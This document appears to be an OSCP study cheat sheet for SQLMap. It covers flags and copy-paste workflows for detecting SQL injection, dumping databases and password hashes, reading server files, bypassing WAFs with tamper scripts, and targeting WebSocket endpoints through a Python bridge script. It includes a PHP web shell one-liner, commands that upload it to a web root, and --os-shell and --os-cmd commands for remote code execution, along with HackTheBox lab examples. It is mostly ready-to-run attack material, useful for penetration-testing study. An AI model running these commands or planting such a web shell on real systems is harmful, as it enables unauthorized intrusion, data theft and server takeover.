Ctrl+F: sqlmap -r · reset.req · ws:// · --data JSON · --level 3 · --os-shell · --file-read

What is SQLMap?

SQLMap automatically detects and exploits SQL injection vulnerabilities. It handles Union-Based, Error-Based, Boolean Blind, Time-Based Blind, and Stacked Queries across MySQL, MSSQL, PostgreSQL, Oracle, SQLite, and more.

OSCP strategy: Confirm injection manually first (', ORDER BY, SLEEP). Then let SQLMap do the heavy lifting for enumeration and data extraction.


Install (Kali)

sudo apt update && sudo apt install -y sqlmap

Verify: sqlmap --version

Full install index → Installation - Kali Setup


Syntax

sqlmap -u "URL" [options]
sqlmap -r request.txt [options]

📌 1) All Key Flags

Target

FlagDescription
-u "URL"Target URL with parameter (e.g. ?id=1)
-r request.txtLoad HTTP request from file (Burp export)
--data="POST_BODY"POST data (e.g. user=admin&pass=test)
-p PARAMTest only this specific parameter
--cookie="COOKIE"Set cookie header
-H "Header: value"Add custom HTTP header
--user-agent="..."Set custom User-Agent
--referer="URL"Set Referer header
--random-agentUse a random browser User-Agent
--host="HOST"Set Host header
--method=POSTForce HTTP method
--data-add-id=1Append ID to data string

Detection & Injection

FlagDescription
--technique=BEUSTQTechniques to use: Boolean, Error, Union, Stacked, Time, Query
--level=NTest level 1–5 (default 1; higher = more tests, more noise)
--risk=NRisk level 1–3 (default 1; higher = riskier payloads like OR statements)
--dbms=mysqlForce DBMS type (skip detection): mysql, mssql, postgres, oracle, sqlite
--prefix="'"Injection prefix
--suffix="--"Injection suffix
--string="text"String to match in True responses (boolean blind)
--not-string="text"String indicating False response
--code=200HTTP code for True responses
--smartOnly proceed if positive heuristics found

Enumeration

FlagDescription
--dbsEnumerate all databases
-D dbnameSpecify target database
--tablesEnumerate tables (use with -D)
-T tablenameSpecify target table
--columnsEnumerate columns (use with -D -T)
-C col1,col2Specify columns to dump
--dumpDump the specified table/columns
--dump-allDump everything in all databases
--countCount rows before dumping
--where="cond"Filter rows: --where="id>5"
--start=NFirst row to dump
--stop=NLast row to dump
--schemaDump entire DB schema
--search -T nameSearch for table/column name containing “name”
--current-dbGet current database name
--current-userGet current DB user
--is-dbaCheck if current user is DBA/admin
--usersEnumerate all DB users
--passwordsDump user password hashes
--privilegesList privileges of each user
--rolesList DB user roles
--hostnameGet server hostname

File Operations

FlagDescription
--file-read="/etc/passwd"Read a file from the server
--file-write="shell.php"Local file to upload to server
--file-dest="/var/www/html/shell.php"Remote destination path

OS Command Execution

FlagDescription
--os-shellInteractive OS shell (via INTO OUTFILE or xp_cmdshell)
--os-cmd="whoami"Execute a single OS command
--os-pwnMeterpreter/VNC session via stager
--os-smbrelayNTLM hash capture via SMB relay

Output & Session

FlagDescription
--batchNon-interactive — accept all defaults (OSCP essential)
--answers="..."Pre-answer prompts: --answers="quit=N,crack=N"
-v NVerbosity 0–6 (default 1; 3 shows payloads)
--output-dir=DIRStore results in specific directory
--flush-sessionClear SQLMap’s cached data for this target
--fresh-queriesDon’t reuse previously cached queries
--save=config.iniSave options to a config file
--load=config.iniLoad options from config file
--threads=NNumber of parallel threads (default 1; max 10)
--timeout=NConnection timeout seconds
--retries=NRetries on connection failure
--delay=NDelay between requests (seconds)

Authentication & Proxy

FlagDescription
--auth-type=BASICHTTP auth type: BASIC, DIGEST, BEARER, NTLM
--auth-cred=user:passHTTP auth credentials
--proxy=http://127.0.0.1:8080Route through proxy (e.g. Burp)
--proxy-cred=user:passProxy credentials
--ignore-proxyIgnore system proxy settings
--torRoute through Tor

WAF Bypass — Tamper Scripts

FlagDescription
--tamper=SCRIPTApply tamper script(s) to payloads
--tamper=space2commentReplace spaces with /**/
--tamper=betweenReplace > with BETWEEN x AND y
--tamper=randomcaseRandom upper/lower case in keywords
--tamper=charencodeURL-encode payload characters
--tamper=base64encodeBase64-encode payload
--tamper=modsecurityModSecurity WAF bypass
--list-tampersList all available tamper scripts

📌 2) Common Workflows

Basic GET parameter

# Detect and enumerate databases
sqlmap -u "http://target/page.php?id=1" --dbs --batch
 
# Once DB found → get tables
sqlmap -u "http://target/page.php?id=1" -D targetdb --tables --batch
 
# Get columns from users table
sqlmap -u "http://target/page.php?id=1" -D targetdb -T users --columns --batch
 
# Dump the users table
sqlmap -u "http://target/page.php?id=1" -D targetdb -T users --dump --batch
 
# Dump just username and password columns
sqlmap -u "http://target/page.php?id=1" -D targetdb -T users -C username,password --dump --batch

POST form

# POST login form
sqlmap -u "http://target/login.php" --data="username=admin&password=test" --dbs --batch
 
# If parameter is in JSON body
sqlmap -u "http://target/api/login" --data='{"user":"admin","pass":"test"}' --dbs --batch
 
# Test specific parameter in POST
sqlmap -u "http://target/login.php" --data="username=admin&password=test" -p username --dbs --batch

From Burp Suite (most reliable method)

# 1. In Burp → right-click request → "Copy to file" → save as request.txt
# 2. Run sqlmap against it
sqlmap -r request.txt --dbs --batch
 
# Specify which parameter to test
sqlmap -r request.txt -p id --dbs --batch
 
# POST reset / email param — level 3 + direct table dump (usage_blog lab pattern)
sqlmap -r reset.req -p email --batch --level 3 -D usage_blog -T admin_users --dump
 
# If cookie contains the parameter
sqlmap -r request.txt --level=2 --dbs --batch   # Level 2 tests cookies

request.txt example:

GET /page.php?id=1 HTTP/1.1
Host: 10.10.10.10
User-Agent: Mozilla/5.0
Cookie: session=abc123; user=admin
# Cookie parameter injection
sqlmap -u "http://target/page.php" --cookie="id=1" -p id --dbs --batch
 
# Level 2 or higher automatically tests cookies
sqlmap -u "http://target/page.php" --cookie="id=1" --level=2 --dbs --batch

Custom header injection

# User-Agent injection
sqlmap -u "http://target/" -H "User-Agent: *" --dbs --batch
 
# X-Forwarded-For injection
sqlmap -u "http://target/" -H "X-Forwarded-For: *" --dbs --batch
 
# Referer injection  
sqlmap -u "http://target/" --referer="http://test/*" --dbs --batch

📌 WebSockets — SQLi over ws:// / wss://

SQL injection over WebSocket usually means the app sends JSON/text frames with a SQL-backed parameter (e.g. "id"). SQLMap can target this in two ways:

MethodWhen
Native ws:// URLNewer sqlmap — -u ws://host:port + --data JSON with injectable key
HTTP → WS bridgeOlder sqlmap / auth tokens / custom framing — local proxy on 127.0.0.1

Native ws:// + JSON body (soc-player / soccer.htb pattern)

When sqlmap accepts the WebSocket URL directly:

# Injectable JSON key — * marks injection point
sqlmap -u "ws://soc-player.soccer.htb:9091" \
  --data '{"id": "*"}' \
  --threads 10 \
  -D soccer_db \
  --dump \
  --batch
PieceDetail
-u ws://...WebSocket endpoint (host:port, no path if root WS)
--data '{"id": "*"}'Message body format — * = parameter sqlmap tests
--threads 10Parallel requests (max 10)
-D soccer_db --dumpDump entire database (or add -T users for one table)

Enumerate step-by-step:

sqlmap -u "ws://TARGET:9091" --data '{"id": "*"}' --batch --dbs
sqlmap -u "ws://TARGET:9091" --data '{"id": "*"}' --batch -D soccer_db --tables
sqlmap -u "ws://TARGET:9091" --data '{"id": "*"}' --batch -D soccer_db -T players --dump

Other JSON keys — match the app (Burp WebSockets history):

sqlmap -u "ws://TARGET:PORT/path" --data '{"ticket":"*"}' --batch --dbs
sqlmap -u "ws://TARGET:PORT/path" --data '{"search":"*"}' --batch --dbs

If native ws:// fails → use HTTP bridge below.

Workflow (bridge fallback)

1. [[Burp Suite]] → Proxy → find WebSocket upgrade + messages in WebSockets history
2. Manual SQLi in message body (' , SLEEP(5) , UNION) via Burp Repeater
3. If injectable → run local HTTP→WebSocket harness → point SQLMap at localhost
4. sqlmap -u "http://127.0.0.1:8081/?id=1" --batch --dbs

Manual test (Burp / wscat)

Burp: WebSockets history → select message → Send to Repeater → edit JSON/text payload → Send.

wscat (interactive WS client — install: npm install -g wscat):

wscat -c ws://TARGET:PORT/path
# type messages; watch for SQL errors or time delays
> {"id":"1'"}
> {"username":"admin' OR '1'='1"}

websocat (pipe payloads):

echo '{"id":"1"}' | websocat wss://TARGET/path

HTTP harness for SQLMap (OSCP pattern)

Run a local HTTP server that:

  1. Receives SQLMap’s GET/POST (?id=PAYLOAD or --data)
  2. Wraps the payload into the WebSocket message format the app expects (often JSON)
  3. Sends over ws:// or wss:// to the real endpoint
  4. Returns the WebSocket response body to SQLMap as HTTP body

Minimal pattern (adapt URL, JSON keys, base64/tamper as needed):

#!/usr/bin/env python3
# websocket_sqlmap_bridge.py — HTTP on :8081 → WS to target
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
from websocket import create_connection
import json
 
WS_URL = "ws://TARGET:PORT/cable"  # or wss://
 
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        qs = parse_qs(urlparse(self.path).query)
        payload = qs.get("id", ["1"])[0]
        ws = create_connection(WS_URL)
        ws.send(json.dumps({"id": payload}))   # match app format
        resp = ws.recv()
        ws.close()
        self.send_response(200)
        self.end_headers()
        self.wfile.write(resp.encode() if isinstance(resp, str) else resp)
 
HTTPServer(("127.0.0.1", 8081), Handler).serve_forever()
pip install websocket-client
python3 websocket_sqlmap_bridge.py &
sqlmap -u "http://127.0.0.1:8081/?id=1" --batch --dbs
sqlmap -u "http://127.0.0.1:8081/?id=1" -D dbname -T users --dump --batch

If the server expects base64 or custom encoding, add --tamper or encode inside the bridge before ws.send().

Route SQLMap through Burp (HTTP targets only)

sqlmap -r request.txt --proxy=http://127.0.0.1:8080 --batch --dbs

Use this to inspect HTTP SQLMap traffic — for WS, Burp shows frames in WebSockets history, not in normal HTTP history.

What to try when ws:// fails

LimitationWorkaround
ws:// not recognized (old sqlmap)HTTP harness on localhost
Auth token on WS connectSet headers in bridge create_connection(..., header=[...])
No frame-aware tamperEncode in bridge before ws.send()
TLS / self-signed wss://sslopt={"cert_reqs": ssl.CERT_NONE} in bridge

See Burp Suite (WebSockets) · Curl (handshake check) · SQL Injection


📌 3) Specifying Injection Technique

# Force only specific techniques (saves time)
# B=Boolean E=Error U=Union S=Stacked T=Time Q=inline Query
 
# Union-based only (fastest if it works)
sqlmap -u "URL" --technique=U --dbs --batch
 
# Boolean blind only
sqlmap -u "URL" --technique=B --dbs --batch
 
# Time-based only (slowest but most reliable)
sqlmap -u "URL" --technique=T --dbs --batch
 
# Error + Union (common combo)
sqlmap -u "URL" --technique=EU --dbs --batch
 
# All techniques (default)
sqlmap -u "URL" --technique=BEUSTQ --dbs --batch

📌 4) File Read / Write

# Read a file from the server
sqlmap -u "http://target/page.php?id=1" --file-read="/etc/passwd" --batch
sqlmap -u "http://target/page.php?id=1" --file-read="/var/www/html/config.php" --batch
sqlmap -u "http://target/page.php?id=1" --file-read="C:/Windows/win.ini" --batch
 
# Write a PHP web shell (MySQL INTO OUTFILE)
# Create shell first:
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
 
# Upload to server:
sqlmap -u "http://target/page.php?id=1" \
  --file-write="/tmp/shell.php" \
  --file-dest="/var/www/html/shell.php" \
  --batch
 
# Verify:
curl "http://target/shell.php?cmd=id"

📌 5) OS Shell & RCE

# Interactive OS shell (SQLMap tries multiple methods)
sqlmap -u "http://target/page.php?id=1" --os-shell --batch
 
# Single command
sqlmap -u "http://target/page.php?id=1" --os-cmd="whoami" --batch
sqlmap -u "http://target/page.php?id=1" --os-cmd="cat /etc/passwd" --batch
 
# Windows
sqlmap -u "http://target/page.php?id=1" --os-cmd="net user" --batch
sqlmap -u "http://target/page.php?id=1" --os-cmd="whoami /priv" --batch

📌 6) Level & Risk — When to Increase

LevelWhat it adds
1 (default)Standard parameters
2Cookie parameters
3User-Agent, Referer
4Host header
5All
RiskWhat it adds
1 (default)Safe payloads
2Time-based heavy payloads
3OR-based payloads (may modify data!)
# If standard fails → try level 3 risk 2
sqlmap -r request.txt --level=3 --risk=2 --dbs --batch
 
# Maximum (slow + noisy but thorough)
sqlmap -r request.txt --level=5 --risk=3 --dbs --batch

📌 7) WAF Bypass with Tamper Scripts

# List all tamper scripts
sqlmap --list-tampers
 
# Common combos for WAF bypass
sqlmap -u "URL" --tamper=space2comment --dbs --batch
sqlmap -u "URL" --tamper=space2comment,between,randomcase --dbs --batch
sqlmap -u "URL" --tamper=charencode --dbs --batch
 
# ModSecurity / generic WAF
sqlmap -u "URL" --tamper=space2comment,between,charencode,randomcase --dbs --batch
 
# Route through Burp to inspect/modify payloads
sqlmap -u "URL" --proxy=http://127.0.0.1:8080 --dbs --batch

📌 8) HTTPS & Certificates

# Ignore TLS certificate errors (self-signed certs)
sqlmap -u "https://target/page.php?id=1" --dbs --batch
 
# SQLMap ignores cert errors by default — no extra flag needed
# But if issues arise:
sqlmap -u "URL" --ignore-redirects --dbs --batch

📌 9) Session Management & Resuming

# SQLMap auto-saves sessions in ~/.sqlmap/output/TARGET/
 
# Resume a previous scan
sqlmap -u "URL" --resume
 
# Flush cached session (start fresh)
sqlmap -u "URL" --flush-session --dbs --batch
 
# Fresh queries only (don't use cached query results but keep detection info)
sqlmap -u "URL" --fresh-queries --dump --batch

📌 10) Verbose Output — See What SQLMap is Doing

# -v 3 shows the actual payloads being sent (very useful for learning)
sqlmap -u "URL" -v 3 --dbs --batch
 
# -v 6 shows everything including HTTP responses
sqlmap -u "URL" -v 6 --dbs --batch

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# ─── FROM BURP REQUEST FILE (most reliable) ───────────────────
sqlmap -r request.txt --dbs --batch
sqlmap -r request.txt -D targetdb --tables --batch
sqlmap -r request.txt -D targetdb -T users --dump --batch
 
# POST email — reset.req (usage_blog / admin_users)
sqlmap -r reset.req -p email --batch --level 3 -D usage_blog -T admin_users --dump
 
# ─── FROM URL ─────────────────────────────────────────────────
sqlmap -u "http://TARGET/page.php?id=1" --dbs --batch
sqlmap -u "http://TARGET/page.php?id=1" -D targetdb -T users -C username,password --dump --batch
 
# ─── POST FORM ────────────────────────────────────────────────
sqlmap -u "http://TARGET/login.php" --data="user=admin&pass=test" --dbs --batch
 
# ─── WHEN STANDARD FAILS → INCREASE LEVEL/RISK ────────────────
sqlmap -r request.txt --level=3 --risk=2 --dbs --batch
 
# ─── SPECIFIC TECHNIQUE ───────────────────────────────────────
sqlmap -r request.txt --technique=U --dbs --batch    # Union only (fast)
sqlmap -r request.txt --technique=T --dbs --batch    # Time only (blind)
sqlmap -r request.txt --technique=B --dbs --batch    # Boolean only
 
# ─── FILE READ / WRITE ────────────────────────────────────────
sqlmap -r request.txt --file-read="/etc/passwd" --batch
sqlmap -r request.txt --file-write="/tmp/shell.php" --file-dest="/var/www/html/shell.php" --batch
 
# ─── OS SHELL ─────────────────────────────────────────────────
sqlmap -r request.txt --os-shell --batch
sqlmap -r request.txt --os-cmd="whoami" --batch
 
# ─── WAF BYPASS ───────────────────────────────────────────────
sqlmap -r request.txt --tamper=space2comment,between,randomcase --dbs --batch
 
# ─── WEBSOCKET (native ws:// + JSON) ──────────────────────────
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads 10 -D soccer_db --dump --batch
 
# ─── WEBSOCKET (HTTP bridge fallback) ─────────────────────────
python3 websocket_sqlmap_bridge.py &
sqlmap -u "http://127.0.0.1:8081/?id=1" --batch --dbs
 
# ─── SEE PAYLOADS (learning mode) ─────────────────────────────
sqlmap -r request.txt -v 3 --dbs --batch